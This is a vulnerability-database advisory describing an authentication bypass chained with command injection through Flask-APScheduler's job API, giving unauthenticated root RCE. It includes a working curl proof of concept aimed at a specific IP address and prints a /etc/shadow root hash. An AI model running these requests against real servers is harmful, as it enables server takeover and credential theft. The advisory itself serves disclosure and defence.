
Cloud Vulnerability DB
A community-led vulnerabilities database
Unauthenticated authentication bypass + /scheduler/jobs RCE chain (unauthenticated root RCE + /etc/shadow disclosure)
7744ecf5f53955f3c0036ddd52f539930ef24b36before_request authentication guard by appending ?api=1 to the URL, then unauthorizedly POSTs a malicious job with func=os:system to the Flask-APScheduler /scheduler/jobs REST API (which has no SCHEDULER_AUTH configured, is not routed through a blueprint, and has no secondary validation), and synchronously triggers execution via /scheduler/jobs/<id>/run, executing arbitrary commands with root privileges. Command output is redirected to the app/static/ directory, then read back without authorization via /static/<file>?api=1, achieving a complete unauthenticated root RCE with response output. This allows reading /etc/shadow (including root password hashes), writing cron jobs/SSH keys for persistence, and full server takeover. No credentials are required at any point.GET /scheduler/jobs?api=1 (unauthorized listing of all jobs)POST /scheduler/jobs?api=1 (unauthorized injection of func=os:system job)POST /scheduler/jobs/<job_id>/run?api=1 (unauthorized synchronous execution trigger)GET /static/<file>?api=1 (unauthorized read-back of command output file; static is whitelisted)app/login.py:19 uses if 'api' not in request.url as a substring match to determine whether to skip authentication. request.url is the full URL string (including query string), so any URL containing the four letters api (e.g., ?api=1, ?x=api) skips the entire authentication block (get_users_params/is_user_active/check_login are all skipped).app/config.py:13 unconditionally sets SCHEDULER_API_ENABLED=True without configuring SCHEDULER_AUTH; flask_apscheduler's _apply_auth passes through when auth=None. Furthermore, the 8 /scheduler/* routes are mounted directly on the app via app.add_url_rule (not via a blueprint), outside the scope of any blueprint's @bp.before_request @jwt_required secondary validation. The POST /scheduler/jobs add_job passes body **kwargs directly to APScheduler, which uses ref_to_obj (__import__+getattr) to resolve the func string os:system into a callable object; the POST /scheduler/jobs/<id>/run run_job synchronously calls job.func(*job.args) = os.system("<attacker-controlled>").requirements.txt hard-dependency on Flask-APScheduler==1.13.1, config.py:13 unconditionally enabled, app/__init__.py:27-29 unconditionally init_app+start) — all deployments are affected.
# Single-step PoC (one curl command, no credentials required)
# 1. Unauthorized confirmation that /scheduler is reachable (auth bypass)
curl -s 'http://47.251.10.233:8080/scheduler/jobs?api=1'
# Returns: [{"id":"delete_old_logs","func":"app.jobs:delete_old_logs",...},...] HTTP 200 (unauthorized listing of 7 jobs)
# 2. Unauthorized injection of os:system job
curl -s -X POST 'http://47.251.10.233:8080/scheduler/jobs?api=1' \
-H 'Content-Type: application/json' \
-d '{"id":"rwi_pwn","name":"rwi_pwn","func":"os:system","args":["id > app/static/rwi_id.txt; cat /etc/shadow > app/static/rwi_shadow.txt; cat /etc/hostname > app/static/rwi_host.txt; whoami > app/static/rwi_whoami.txt"],"trigger":"date","run_date":"2026-07-06T16:02:00+08:00","misfire_grace_time":60}'
# Returns: {"id":"rwi_pwn","func":"os:system",...} HTTP 200 (job registered successfully)
# 3. Unauthorized synchronous execution trigger
curl -s -X POST 'http://47.251.10.233:8080/scheduler/jobs/rwi_pwn/run?api=1'
# Returns: {"id":"rwi_pwn","func":"os:system",...} HTTP 200 (os.system executed synchronously)
# 4. Unauthorized read-back of root id
curl -s 'http://47.251.10.233:8080/static/rwi_id.txt?api=1'
# Returns: uid=0(root) gid=0(root) groups=0(root)
# 5. Unauthorized read-back of /etc/shadow (root password hash disclosure)
curl -s 'http://47.251.10.233:8080/static/rwi_shadow.txt?api=1' | head -1
# Returns: root:$y$j9T$a3cR9qoyCjv6G.ViyR43j1$KIZRMVhOqtTPFLdFrthP6F4ZcXEnSwKAJodBHbjvg99:20640:0:99999:7:::CVSS v3.1: 9.8 (Critical) Vulnerability class: CWE-78
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."